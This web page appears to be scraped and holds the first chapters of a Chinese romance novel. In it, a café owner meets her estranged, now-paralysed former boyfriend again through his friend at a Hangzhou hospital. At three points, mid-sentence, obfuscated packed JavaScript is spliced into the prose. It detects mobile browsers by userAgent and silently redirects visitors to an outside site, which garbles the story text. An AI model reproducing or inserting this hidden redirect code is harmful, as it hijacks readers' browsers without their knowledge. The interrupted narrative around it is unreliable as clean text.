《半夏生》 1. 第 1 章 七月的杭城,空气中总是弥漫着令人心烦的燥热。 午后已经下了一场大雨,但仅仅过了几个小时,这场大雨留给这座城市的痕迹,只有窗沿上滑落的水垢和江南之地独有的黏腻感。 宋知念坐在等候室内,看着屏幕上“诊疗中”的显示词,忍不住走到窗边活动了一下身体。 她正站在钱塘江畔的高层之中,从窗户向下望去,还能看到下方宽大而宁静的江流。 这是一家独立于科技公司之中的私立的康复医院,医院拥有许多国内外知名的康复医生坐诊,全国各地的患者都会前来看病。 宋知念看了看时间,距离理疗结束还有半个小时,她干脆走出了休息室,沿着墙阅读着关于腰椎间盘突出治疗的宣传展板。 那些内容宋知念已经看了很多遍,但她依旧看得很仔细。 如果不是为了保护她,她的母亲也不会被人推倒。 想到这里,宋知念的眼眸黯淡了许多。 一块块宣传板看去,周围的环境却是越来越安静了下来,宋知念又往旁边走了一步,再抬起头时却发现,自己已经站到了最后一块展板前。 这层楼被落地的玻璃门隔离出了两个部分,一块是宋知念母亲所在的针对腰伤的理疗区,但是在最后一块知识科普板之后,却是一块独立于整座楼层的病房区域。 宋知念听母亲的主治医生提起过,那几间是单独的vip病房,需要刷卡才能进入,就连玻璃门内也都配备了单独的护士站。 在陪着母亲治疗的两周时间里,她也只是偶尔看到有医生轻轻地进出其中的一间病房。 走廊之中还是一如既往的宁静,但是不知道为何,宋知念总是感觉自己有些莫名的心慌。 或许是因为这令人浮躁的季节,或许是因为医院空调隆隆的白噪音,又或许是因为留在她手机之中冰冷字语之中的决绝。 每每到了这种天气之时,她总是忍不住回想曾经的那一天。 宋知念忍不住握紧了自己的手机,转身准备回去。 咔—嗒— 身后传来了玻璃门打开的声音。 那些因为玻璃门阻拦的余音也传入了她的耳中。 “阿承这几天的状态倒是好转了不少,这几天辛苦谢医生了。” 阿承。 熟悉的声音、熟悉的称呼,让她忍不住屏住了呼吸。 那些心慌的根源似乎终究是要落下,夏日之中的燥热似乎从窗外翻涌至了她的身边,汗液像是藤蔓一样在她的手心之中密密麻麻地盘绕而至。 她认得那道声音的主人,即使已经过了三年,她仍旧记得他对她说的最后一句话。 ——知念,他让我告诉你,别等他了。 身后的两人应当是注意到了她的背影,他们没有在外面多说什么,只是转身去了一旁的房间之中。 那扇房间的门没有完全的合拢,宋知念像是脱力一般靠在墙上,她没有理会玻璃门内护士台之中护士奇怪的眼光,也没有办法去管自己在她们面前的模样。 她像是溺水的人,紧紧地去抓住那些漂浮的浮萍。 瓷砖的凉意透过单薄的夏日衣衫传递到她的身上,让她的理智渐渐回归。 “他的肺部感染比前几天好了很多,也没有再发烧,手臂抬举的力量会随着身体的恢复慢慢恢复,按照他的情况,应该过两天就可以出院了。”一个淳厚稳重的声音说。 这个声音的主人,应该就是刚刚那人话里的谢医生。 里面年轻的男声似乎压低着声音问了些什么,宋知念想要听清,却只能听到里面一片寂静。 过了一会儿,那位谢医生说:“小顾总,关于您问的这件事情,我目前能给您的答案,依旧和那时一样。” 许久的沉默之后,那道男声再一次地响起,语气之中却再也没有记忆之中的肆意与张扬,而是带上了浓浓的无奈:“我知道了。” 当里面的两人从屋内离开的时候,外面的走廊之中已经空无一人,就连等候室之中的人都少了许多。 “奇怪。” 顾书屿挠挠头,像是突然想到了什么,他转头看向旁边穿着白大褂的谢医生:“刚刚走廊上的女孩子是医院的护士吗?看着有点眼熟。” “不是。”谢医生随口说道,他们的护士有专门的通道,换成便服后一般不会走公用走廊:“或许是您看错了。” 他走在前面用自己的卡刷开第一扇玻璃门,转头看向盯着走廊若有所思的顾书屿,提醒道: “他现在应该已经醒了,您可以去看看他。” · 顾书屿出来的时候,宋知念正在理疗室内听着医生的叮嘱。 她母亲的理疗基本已经达到了预期的效果,明天再来最后一次医院,后面只要定期来复查就可以。 母亲的事情让宋知念来不及仔细思索刚刚两人谈话的内容,她先把母亲送回了家,直到看着母亲被家政阿姨扶进家门,这才长舒了一口气。 她拿出手机,找到微信上id叫流泪芸芸猫聊天框,发送道:我今天见到顾书屿了。 对面迅速回了一个问号,下一刻,手机当中弹出了流泪芸芸猫邀请她通话的页面。 “你今天见到顾书屿了?” 对面的女声还没等她说话,便急急地说道:“你等等,我出去和你说。” 车载蓝牙已经自动进行了连接,宋知念像是泄了气般地趴到了方向盘上,慢悠悠地说道:“芸芸。” “刚刚办公室里学生比较多。”她应该是终于换到了一个僻静的位置,连声音都清晰了不少: “你今天不是陪你妈妈去医院吗?怎么会见到顾书屿?” 林芸和宋知念是高中同学,从高中选课完分了班之后就成了好友,后面又一起考上省立大学的汉语言系。 只是林芸在大四的时候就因为家里的要求去考编当了高中的语文老师,而宋知念因为没有家庭的压力,在毕业前就在运河边开了家独栋的咖啡屋,她的店环境布置的比较好,加上又在运河沿线的历史街区上,现在也已经成了网络上推荐的知名打卡店。 这段时间她在照顾母亲,店里也就交给了店长和其他员工。 “就是在医院见到的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236329|166106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”宋知念笑笑:“不过严格来说也没有见到,我听到了他的声音,他应该没注意到我。” 她当时是背着他们站的,他们应该在看到走廊有人之后就进了办公室。 “好吧。”林芸叹了口气,她站在教学楼的回廊上,看向下方中庭之中并肩走着的换教室的学生,犹豫着问道: “那你,有看到他吗?” 她们都知道这个他并不是指顾书屿。 自从三年前,无论是谁,在和宋知念的交流之中,都不会提起他的名字。 那像是一个禁忌。 但是那些一个傅字之后的沉默,那些看到宋知念后欲言又止的模样,那个所有人心知肚明只能用“他”来代替的词。 也只有一个人。 宋知念停顿了一会儿后,略有些疲惫道: “没有。” 她已经很久没有想到他了,尤其是在爷爷病逝前看着她定下婚约之后,那些本来会经常出现在她梦境之中的回忆都渐渐地消失了。 林芸心中的大石微微落下,但宋知念的下一句话又让她的心高高地提起。 “但我听到了,他们在讨论一个叫阿承的人的病情。” 那个承,是陈、是呈、还是他的承? 宋知念不知道。 虽然她听得没有很详细,但是却足以从简单的一两句话中推测出他们谈话那人的病情。 凶险,严重,复杂到似乎不应该是他那个年纪应该有的身体情况。 “念念。” 林芸的声音将宋知念拉回现实之中,她猛然回神,只听到林芸说道:“不要想这么多了,你带阿姨去的可是康复医院,一般人谁没事往康复医院跑呢,也许是他们顾家自己的长辈或者亲戚呢?” “或许是我太敏感了吧。” 宋知念知道好友说的是实话,却还是忍不住苦笑了一下。 她总是想忘掉过去的一些事情,可是有些事情,不是她想要遗忘,就能遗忘的。 “别想太多了,念念。” 林芸是当年所有事情的围观者,她也见证了那年他消失之时宋知念的低迷,对于现在的她而言,她更加情愿宋知念和他之间永远不要再相见。 “就算你们又重逢了又能怎么样?你想,他当年都能对你不告而别诶!”林芸的语气有些高昂,像极了她平常对学生发火时候的姿态: “要是现在他还敢若无其事地出现在你面前,我非冲上去把他暴揍一顿,你要是敢拦我,我还可以买一送一连你这个恋爱脑一起打!” 电话那头宋知念的轻笑并没有打消林芸的担忧,就连她的语气也有些迟疑:“念念,你真的还想见到他吗?” “我想见他一面。” 车内和地下室的室外温差有些大,就连车前方的挡风玻璃上都凝上了一层雾霜。 “我想和他说一句话。” “如果早知道是那样的结局。”宋知念看着面前滑落的霜珠,听着林芸的呼吸,一字一句说道。 “我们不如一开始就不要遇见对方。” 不会遇见,就不会怀念。 2. 第 2 章 夏日的雨总是来得猛烈突然,雨水顺着敞开的窗沿滚落到室内,渐渐在靠窗的瓷砖上淤积了浮动的倒影。 今天是工作日的第一天,医院的人倒没有昨天周末那般多人,但走路间还是容易滑倒。 宋知念探头看了看,站起身来准备关上了窗户。 这场雨来得突然,却也将无形的浓雾笼罩到了高层之上,令人看不清下方的景象。 就连关窗之间,也能感到一阵风席卷着雨丝,刮落于她的脸颊之上。 “宋知念?” 还未等她回身,一道声音带着迟疑,在她的身后响起。 下一刻,那声音的主人似乎看出来了她的僵硬,也确定了她的身份。 “宋学妹,好久不见。” 他又说了一声。 宋知念回过神,脸上像是掩饰般地露出一抹疏离的微笑: “顾学长,好久不见了。” 他们确实好久没见了,从最后一次他见她开始,到昨天算起来也已经有三年的时间了。 “学长看上去没有什么变化。”宋知念上下打量了一番面前的顾书屿,率先说道。 顾书屿应该是从公司之中直接赶来的,他的身上还穿着黑色的西装,裁剪得体的西装面料服帖地顺着他的身体垂落,倒是显得和这一家医院有些格格不入。 只有他脸上的神色,像是褪去了大学时候的青涩,多了些成熟稳重的意味。 顾书屿也在看她,宋知念能感受到他的目光落在她的身上,他的目光之中带着怀念和遗憾,但又似乎还有些令她无法说出的原因的庆幸。 是庆幸,吗? 宋知念有些疑惑。 “你也是,没有怎么改变。”顾书屿收回了目光,有些感慨:“我昨天在医院看到了你的背影,就觉得很熟悉,今天过来一看,果然是你。” 他昨日回去辗转反侧了一番,还是没有忍住,找属下调来了走廊里的监控。 走廊监控之中只能看到女子抬头看着宣传板的模样,仅仅就是一张侧脸,他便认出来了宋知念。 她的容貌和三年前并没有什么变化,只有周身的气质似乎又沉静了许多。 曾经的她像是盈盈的春水,而现在的她平静的好像是一潭深潭,令顾书屿这种在商场上摸爬滚打过的人都有些摸不清她心中所想。 “你过得还好吗?”顾书屿将这句话掂了掂,问得有些小心。 他有听说过周围的一些狐朋狗友说起过他,也在长夜之中听好友在呻吟之中喊出她的名字,但或许是因为愧疚,他始终不敢去面对她。 “我过得蛮好的。” 听到顾书屿的问话,她突然笑了下,像是那滩深潭被石子惊扰,在水面上泛起了一阵涟漪,令顾书屿都忍不住愣了一瞬。 “我上个月已经和未婚夫订婚了。”她避开顾书屿探究的视线:“等下次学长有空,来我店里拿请柬吧。” “啊,好的。”顾书屿被这个消息砸得有些说不出话,他胡乱地说了几句恭喜,眼睛却下意识地瞄向病房的区域。 宋知念没有接顾书屿的祝福,转而看似随意地问道:“学长怎么在这里?” 她也是昨天才知道这家医院有顾家的股份在里面,估计现在连她母亲是什么病情,顾书屿应该都知道了。 “我过来看一个朋——”顾书屿想起了什么,愣生生咽下了后面的词:“亲戚。” 是亲戚啊。 宋知念点了点头。 她觉得自己有些可笑,怎么会因为一个称呼就觉得是他。 两人一时有些没话说。 他们之间的能够认识,完全都是因为另外一个人。 而现在,两人之间的尴尬,也是因为那个人。 顾书屿犹豫了片刻,还是说道:“宋学妹,是我对不起你。” “当年,你和傅瑾承……” ——傅瑾承。 宋知念一时有些恍惚,已经有许久,没有人在她面前提起这个名字了。 久到,她以为自己快忘却了。 她曾经将这个名字喊出来七八个调子,也曾经用唇齿将这几个字混着泪翻来覆去的碾碎。 那些刻意的伪装轻而易举地就被一个名字击垮。 宋知念知道,顾书屿应该是在向她道歉,因为当年是他代表傅瑾承和她分手的,她也想说没关系她已经不在意了,但她甚至都有些无法听清楚他在说什么,只能看到他的嘴巴在一张一合。 幸好,护士的话打断了他们。 这一批理疗的人已经结束,护士正在一个个报名字喊家属。 宋知念合上眼定了定神,再抬眼时,她的眼中已是一片镇定。 她指了指顾书屿身后的显示屏,道:“学长,不好意思,我母亲的理疗结束了,我先回家了。” “好。” 顾书屿甚至来不及多说什么,他只能看着宋知念从他身后快步上前扶住从理疗室里出来的母亲,远远地冲他点了点头。 算是道别。 直到看到电梯合拢,顾书屿这才有些头疼地揉了揉脑袋,他像是认命般的走到vip病房区域,穿过两扇玻璃门,进入到最里面的一间病房之中。 推开门,里面是一如既往的黑暗。 厚重的遮光帘被严丝合缝的重叠在一起,只有沿着地板的缝隙之中能够透露出一丝亮光。 “傅瑾承,你又不开灯!”顾书屿抱怨道:“你又不是吸血鬼,天天待在黑暗里干什么?” 病房之内一片安静。 好在顾书屿已经对这间病房非常熟悉,他摸着黑自顾自地开了灯,径直绕过外套间的沙发桌椅,走到了内间。 这是一个套间,外面是沙发冰箱等一系列居家的生活家具,而内间,却只有一张孤零零的病床。 病床的一边摆放着监护仪,五颜六色的线条和数字还在上面浮动着,一旁的吊钩上还有几袋没有挂完的点滴。 顾书屿一贯看不太懂这些,他只是拖了把椅子,坐到了床边。 “喂,你猜我今天看到谁了?” 因为他突然打开白炽灯的原因,床上的人正在用手背抵着自己的眼睛挡着光。 他的手指白皙修长,微微露出的下颌线带着几分精致又脆弱的美感,白蓝色的病号服下,还能隐隐看到一些手臂上的线条。 顾书屿也懒得和那人兜圈子,他把西装外套一脱,松了松自己的袖口和领口随意地靠在椅背上,修长的腿大大咧咧地跷着,面对着沉默的傅瑾承,终于使出了自己的撒手锏。 “我刚在外面,见到宋学妹了。” 这句话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236330|166106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一出,顾书屿满意地看着他放下了手臂,露出自己的面孔。 他的面上是一贯的清隽冷淡,这几年的病痛折磨的也没有掩盖他秾丽逼人的眉眼,那双眼睛依旧深邃逼人,薄唇紧抿,周身是说不清楚的清冷孤寂。 “你见到谁了。” 沙哑的声音还带着高烧之后的疲惫,苍白的面上仍然带着深深的倦意,但他的目光却凛然了许多,连语气之中都染上了几分强硬:“阿屿,你看到谁了?” 他死死地盯着顾书屿,等待着他的答案。 顾书屿抱着手看着床上的人,念出了他心底的名字。 “宋知念。” 床上人的情绪突然有些激动了起来,他的手指紧紧攥着被单,指骨间绷得惨白,他大口大口地呼吸了起来,连咳带喘的,就连脸上都泛上了不自然的潮红。 他的状态倒是把顾书屿吓了一跳,顾书屿赶忙上去又是抚背又是隔着被子抚胸口的伺候着:“我说祖宗,就一个名字都能把你刺激成这样?” 早知道这样,还不如不告诉他。 他身体受伤的位置比较高,对呼吸系统和心脏都有一定的影响,加上这次的来势汹汹的肺炎,更是被叮嘱了要静养。 “要不要喝点水?”顾书屿见他慢慢平静下来,开了瓶矿泉水,往瓶子中插了根吸管,递到傅瑾承面前。 “不用。” 刚刚那一下折腾走了他身上为数不多的力气,傅瑾承的手指无力地挥了挥,喘着气拒绝道:“还没到喝水的时间。” 他现在喝水都是定时定量的,不能早也不能晚。 顾书屿也想起来这件事情,他收回手,干脆丢了吸管自己仰着头灌了几口,随手把水瓶放到一旁,想等傅瑾承平静下来再说。 “你先告诉我……”傅瑾承的气息还没有平稳下来,他压着咳嗽和喘息,艰难地问道: “你先告诉我,她看上去怎么样,她是不是生病了……为什么会来医院?” 顾书屿在心里叹了口气,见他说一句话都要大喘几口的模样,却是不敢将刚刚宋知念说的话如实转告。 “她看上去蛮好的,来医院也是因为她陪她妈妈来理疗。”顾书屿思索着宋知念的话,在脑海内转了一个弯,斟酌着说道: “她开了家咖啡店,说等我有空了多邀请我去她店里坐坐。” 顾书屿一边说一边注意着傅瑾承的表情,就怕自己的话又刺激到他。 但傅瑾承听了,憔悴的脸上却难得地出现了一丝笑意:“这话听着不像是她的风格。” 他太过了解她了,即使三年没见,他也依然知道她的性格。 当年那样决绝地对她,如今她又怎么会对顾书屿这样说,就算是这样说的,可能也没安什么好心。 “她确实是这么说的,可能她已经放下那段过往了吧。” 顾书屿给傅瑾承掖了掖因为刚刚动作而滑落的被单,叹道:“毕竟,人是会变的。” 这话一出,顾书屿意识到了不对。 他的手顿了顿,慢慢缩了回去。 “阿承……” 傅瑾承没说什么,他长长的眼睫垂下,遮住了眼眸之中的晦涩。 三年了。 他还是只能静静地躺在这里。 像是一尊精致而脆弱的雕像。 3. 第 3 章 宋知念回到店里的时候,窗外的雨依旧没有停。 她的店在运河边的一处民国时候的独栋别墅里,一共有两层高,屋外还有绕着屋子的前后两个庭院。 当时前屋主正好遇到经济困难急着出手,宋知念看了环境和房子维护情况后,也就爽快地付了全款,开始将别墅进行整体的改建。 她将房子以前的铁门都进行拆除,用圆形拱门打通了前后门的庭院和街道,只留下了一些低矮的围墙作为和街区的分隔。 宋知念推开一层的木窗,趴在木质的窗沿上,望着窗外的雨景。 这场雨难得的扫清了些空气中的燥热,庭院墙边的竹影摇曳,散发着雨后土壤与草木的清香,透过圆形的拱门,还能隐隐看到街边飞驰而过的车辆。 咖啡的香气隐隐地在空气中萦绕着,苦涩的,带着些焦香的气息。 直到那股香气越发浓郁,宋知念这才转头发现,是她的店长高雅琴不知道什么时候端着两杯咖啡到了她的身旁。 “雅琴姐。” 宋知念笑笑,接过高雅琴手中的托盘,放到身边的矮几上。 “我朋友送的新豆子。”高雅琴递给宋知念一杯咖啡:“我刚刚用她说的方法冲泡萃取了下,你尝尝看味道怎么样。” 她们店里的咖啡豆有好几种基本固定经典款,不过如果平日之中有同行好友送来的新豆子,大家也会一起聚着品尝,在一起考虑要不要将其定为店中的新款。 浓郁的褐色液体沿着白色杯壁晃动着,宋知念低头轻抿了一口。 这款前后调都能品出浓郁的柑橘,可入口之后却有些酸涩。 “后调有点酸,是萃取不足吗?” 宋知念微微皱眉,她一贯不喜欢苦中带酸,高雅琴她们也已经习惯,给她冲泡的都是固定的深烘豆,一般浅烘的豆子也只会让她尝个味道定款。 “不会吧。”高雅琴挑了挑眉,她刚刚冲泡完还特地尝过,确认是宋知念喜欢的款才会拿来:“我尝尝。” 她细细品了品,但并没有品出浓烈的酸涩感。 “可能是受到前面食物影响了,我给你倒杯苏打水。”高雅琴刚想起身去倒水,却发现宋知念依旧看着杯中液体。 高雅琴愣了愣。 她在宋知念开店前就和宋知念认识了,她以前在大厂里待过,后来辞职和前夫一起创业开咖啡店,也将一系列咖啡师的证书都考了下来。 可是前夫在女儿出生后被人带着迷上了赌球,甚至还将店面给抵押了出去。 高雅琴无法忍受前夫的行为,在第一位债主上门的时候就为了女儿和前夫离婚。 当时宋知念还在读大学,也是她们店的常客,在知道事情之后毫不犹豫就帮助高雅琴请了律师,还在之后让高雅琴到自己的店里当店长,又帮高雅琴解决了女儿读幼儿园的事情。 “念念,是出什么事情了吗?”高雅琴坐回座位上,关切地看着宋知念。 她第一次见到宋知念的时候,就觉得宋知念的身上有和她容貌还有年纪不相符的冷静和清冷。 她本来以为是这个女孩子的性格问题或者是家庭原因,却在熟悉之后发现宋知念本身家庭父母和美。 宋知念的父母甚至在知道高雅琴和前夫的事情之后,还担心高雅琴兼顾不了女儿和工作,在开店之初最忙碌的时候,都是宋父和宋母让自己家的保姆去高雅琴家接了她们家小姑娘带到宋家去玩,等高雅琴下班再去宋家接女儿。 而宋知念的性格,更是在开店之初成为店里的定海神针。 在高雅琴和其他几个店员因为第一个月试营业没什么顾客来的情况而焦虑的时候,是宋知念一个个对她们进行疏导,逗她们开心,仿佛亏钱的人不是她自己一样。 只是在私下里,高雅琴有时候觉得,宋知念冷静的就好像是对世界上所有的一切都毫无兴趣。 和未婚夫订婚的时候也是淡淡的,和她们宣布自己订婚的时候脸上也没有什么笑意,一句“我昨天订婚了”说出来的语气就和“我昨天吃饭了”没什么区别,甚至半个月前未婚夫出轨在普通人眼中的大事,也都对她而言似乎没有什么波澜。 只有从偶尔下班之后来店里的林芸口中,似乎才能看到曾经的宋知念。 有时候高雅琴也很好奇,宋知念的身上究竟发生过什么。 “没什么。”宋知念抬起头,对高雅琴摇摇头,她笑了笑说:“可能是我今天心情的问题吧。” 她脸上是在笑着的,可眼中却没有丝毫的笑意,只像是为了不让高雅琴担心。 高雅琴沉默了,有些事情,宋知念从来没有说起过,而她们作为朋友,也不好多问, 温暖柔软的尾巴从她的小腿上勾过,高雅琴往地上一瞥,露出笑容,她从地上抱起店中的猫咪,放到宋知念的怀里:“旺财来了。” 这只猫主子说是宋知念在大学收养的,开了店之后就带到了店里当上了团宠,旺财性格又好又是个自来熟,店里甚至有好多客人都是旺财的回头客。 “旺财啊。” 宋知念熟练的撸了撸猫咪的肚皮,旺财享受地在宋知念的怀里伸来个懒腰,油光水亮的毛发配合着它圆润的身躯,让人很难联想到她当时刚刚收养它时候的那瘦小羸弱模样。 旺财是在毕业季的时候被毕业的学长学姐丢下的,暑假中学生和老师都比较少,旺财被学校里的流浪大猫欺负得只能藏在办公楼下的垃圾桶里,还是开学了之后才被宋知念发现。 她一连去喂了旺财几天,旺财每次都是一副吃饱了爱答不理的模样,令她想把它绑架抓走都有些困难。 直到那一天,她提早下课跑到了喂旺财的地点,才发现早已经有个人蹲在她常蹲着的地方拿着猫条逗着小猫。 那人即使穿着一身休闲装,也难以掩盖他的风华外美。 而那时,他的脸上正带着轻松的笑意,修长的手指时不时摸摸小猫的头,小猫似乎对他也很亲热,吃完了后在他的掌心当中蹭一蹭,这才蹦回了垃圾桶旁的小窝里。 他转身看到她拿着猫粮站在他身后,脸上也有微微的愣神。 “宋学妹?” 宋知念抱着旺财,有一搭没一搭地摸着旺财的头。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236331|166106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这几天总是有太多的事情和他相关,而即使他已经离开三年,一物一景,也总是让人想起那段过去。 虽然旺财已经从一只猫变成了一辆半挂,林芸都已经和她喊了无数遍不想上班,连高雅琴的女儿都进了幼儿园。 可是回忆,却在脑海之内越发的清晰。 旺财像是感觉到了她的分心,它不满地喵了一声,用脑袋蹭了蹭她的掌心,从她的膝盖上跳下来。 “旺财?” 但旺财并没有跑远,它只是莫名冲着后门喵了几声,又跑到了临着古街区正门处,去蹭蹭那边临着运河那头坐着的几桌客人。 宋知念抬眼望了下后门。 圆形拱门外依旧是日常的车流穿梭的模样,只是在马路的对面,不知何时多了一辆黑色的魅影。 这一处运河边也有几家会所,来来往往的豪车也不少。 宋知念没有在意,转身进了吧台。 “那只猫是不是你和宋学妹收养的那只?” 街边,车内的氛围却紧张得许多。 顾书屿看到那只蹦跶到门口冲街边看看的胖橘猫,忍不住开口,想要缓和车内的气氛。 他现在充当的就是个司机的角色,副驾驶上坐着因为反对傅瑾承出门而一脸焦躁烦躁的谢医生。 车后座的一个座位已经被拆了,在被拆除的座位处,现在固定着一辆电动轮椅。 傅瑾承就坐在轮椅上,转着头看着拱门,直到见宋知念转身进吧台,才回了头回答顾书屿活跃气氛的问题。 “是那一只。” “当年看着挺瘦小的一只,怎么现在已经被养得这么……” 顾书屿刚想调侃一句肥胖,却在扭头看到傅瑾承的目光后,愣生生憋屈地改了词:“……壮硕。” 他怎么忘了,后面这位当时也是把这只猫当主子供着的。 坐在副驾驶的谢医生意味不明地呵呵了几声,颇有些阴阳怪气地道:“这猫都能被养成这样圆润听话,知道下雨也不跑到院子里玩,那小姑娘喊一声又乖乖的在店里待着。” “有些人哪,还不如别人养的猫听话。” 傅瑾承的身体还没到能出院的时候,他是第二胸椎完全性损伤,胸部以下毫无知觉,这三年虽然一直都在康复治疗,但是一场肺炎也足够折腾他现在脆弱的身体。 顾书屿看看谢医生,又看看傅瑾承,不敢说话。 让傅瑾承出来看看这个建议,是他提议的。 他知道傅瑾承实际的身体状况,但他看到傅瑾承听了个名字就喘不过来气的样子,听他说了两句宋知念现状眼中就溢满化不开的落寂的模样,还是没忍住和林芸偷偷打探了宋知念的店,想着让傅瑾承看上一眼。 意料之中的,林芸把他臭骂了一顿,可看到傅瑾承这样能回一两句话、有点生机的模样,顾书屿也只能认了。 傅瑾承没有理会谢医生的冷嘲热讽,他只是回头继续望着窗外。 她离他很近,近到只要她靠近门边,他便能看到她。 但他也知道,无论他再怎么努力,他也够不到她。 4. 第 4 章 这场雨淅淅沥沥地下了好几天,才终于放晴。 那辆黑色的魅影自从那一日之后,每天基本停在同一个位置。 往往在她们开店前,这辆车就已经在车位上。 如果不是有一天宋知念正好去后门抓想要出去玩的旺财,恰巧看到那辆车从自己眼前匆匆离去,宋知念都以为这车的主人就把车放这个车位上不管了。 周末的时候,往往都会迎来店铺客流量的高峰。 高雅琴指挥着三名店员楼上楼下、院内院外忙得团团转,就连宋知念都会被高雅琴抓来看个前台或者是调个特饮。 前门的玻璃门被人推开,挂在窗檐边的风铃发出一阵清脆的声响。 “欢迎光临……” 宋知念站在前台处,下意识地抬头看向来人,见面前顾书屿一副狼狈不堪的模样,宋知念有些惊讶:“顾学长,你这是怎么了?” 顾书屿大学和傅瑾承一起也能称得上他们金融学院两大风云人物,毕业后进了自己家的公司。 宋知念偶尔听大学同学提起,这位学长虽然年纪轻轻,但已经是不可多得的商业新贵,就连上次在医院见到他,顾书屿都是一副正装穿戴整齐的模样。 像今天这样头发凌乱、衣服上明显有被人拉扯的狼狈样,也算是宋知念第一次见到。 “遇到了两个劫匪。”顾书屿揉了揉头发,唉声叹气道:“一个是你的好姐妹,还有一个……算了,不提了。” “林芸?” 宋知念有些奇怪,她往顾书屿身后看了看,却并没有看到人:“你们两个怎么碰上了?她人呢?” 顾书屿指了指外面:“那边运河边有新的集市,林芸在后面说要逛一逛,她待会儿就来。” 他和林芸也是在来的路上碰到的,林芸一看到他,连学长都没喊一声,就先用拳头招呼了一顿。 想当年林芸还在他手底下当学生会干事的时候,哪次见了面不是客客气气地喊他一声学长或者部长的,她这才毕业一年,风水就轮流转了。 宋知念自然是不知道顾书屿的幽怨,她脱下店内的围裙,让高雅琴先帮她看着前台,又点了三杯店里的特调咖啡,打算带顾书屿去后面的庭院里坐着。 谁料顾书屿连连摆手,一副抵死不去后院的模样,宋知念无奈之下,只能带他到前院。 前院靠近运河边,虽然环境优美,但是人来人往的,有些嘈杂。 “学长今天怎么有空来我店里?”宋知念带顾书屿在庭院的角落选了处闹中取静的位置,有些疑惑地问道。 她上次那样和顾书屿说,也是想激一激顾书屿和顾书屿背后的那人,可如果顾书屿是真的过来找她要请柬的,那她一时之间还真变不出来。 最多,她只能拿今年生日在尚美订的戒指,先来充当一下订婚戒指了。 顾书屿也有些苦不堪言,他也不好意思说其实这周好几次他都在她的店门口陪傅瑾承待着。 他要是说了,别说宋知念会把他打出去,就那个还在集市上玩的姑奶奶更是会直接把他卷成球丢出去。 可是吧…… 顾书屿想起车内那人的这几天越来越苍白的脸色,和谢医生已经近乎对着他要喷火的眼眸,忍不住颤了颤。 虽然知道丢脸,但是有些事情,他也不得不说。 谁叫这个提议最开始是他提出来的呢。 “我今天来找你,其实是有事情想要求你来帮忙的。” 顾书屿拿起桌上的咖啡,大口地咽了半杯,道。 他今天过来是背着傅瑾承的,谢医生和傅瑾承的弟弟傅祁安倒是知道,但那两个人得防着计划提前被傅瑾承猜到,都还在车上守着。 甚至早上讨论这个计划的时候,顾书屿还因为不愿意配合,被谢医生扭打了一顿。 可谢医生也没办法,原本傅瑾承都可快出院的身子,愣生生因为这几天跑来跑去的缘故又要再拖延几天。 肉眼可见的,这几天谢医生都快被气成喷火龙了。 “学长有什么事情,尽管说。”宋知念也拿起杯子晃了晃:“只要是我能做的,我都会尽量。” 她之前读书的时候和顾书屿关系不算太差,顺手帮个忙也不是什么难事。 顾书屿踌躇了一下,却一时之间不知道怎么开口,他犹豫了一下,诚恳道。 “这件事情还真的就只有你能去做。” 当年那事是傅瑾承对不起宋知念,也是傅瑾承自己不辞而别,虽然他们作为事情的知情人,倒是知道傅瑾承当年为什么要不告而别,可现在还要让宋知念劝说傅瑾承回医院安心治疗,就连顾书屿都觉得是自己做得过分了。 “宋学妹,其实我今天来找你,还是为了傅瑾承。”顾书屿闭了闭眼睛,只能为了好友算是豁出去自己这张脸了。 宋知念沉默着望着顾书屿,手中的咖啡勺却在无意识地一圈一圈搅拌着杯中的咖啡。 褐色的液体一圈一圈地泛着波澜,在杯壁上碰撞着,留下肉眼难以看清的褐色印记。 “他最近身体出了些情况,医生说了他必须安心住院,但他不肯去医院里治疗。” 顾书屿按照早上三人讨论出来的理由,一字一句地重复给宋知念听,他们谁都不敢不经过傅瑾承同意就告诉宋知念实情。 他的语气之中带着哀求:“我也是被医生逼得没法子了,才想着……” 啪—— 宋知念手中咖啡勺和杯壁发出了一声强烈的碰撞声,这一声碰撞声打断了顾书屿的话语。 “顾学长,您不用再说了。”宋知念放下勺子,抬头直视着顾书屿的眼睛,坚定道: “我拒绝。” 顾书屿脸上倒是没有惊讶,像是早就已经预料到了她的答案。 他当年劝说过傅瑾承,与其分手不如将事实情况告诉宋知念,但那时候的傅瑾承还躺在重症监护室里,嘴巴里还戴着呼吸机,就连手都还抬不起来,却还是对着顾书屿痛苦而又缓慢地摇头。 顾书屿当年能够理解朋友的选择,他现在也能理解宋知念的答案。 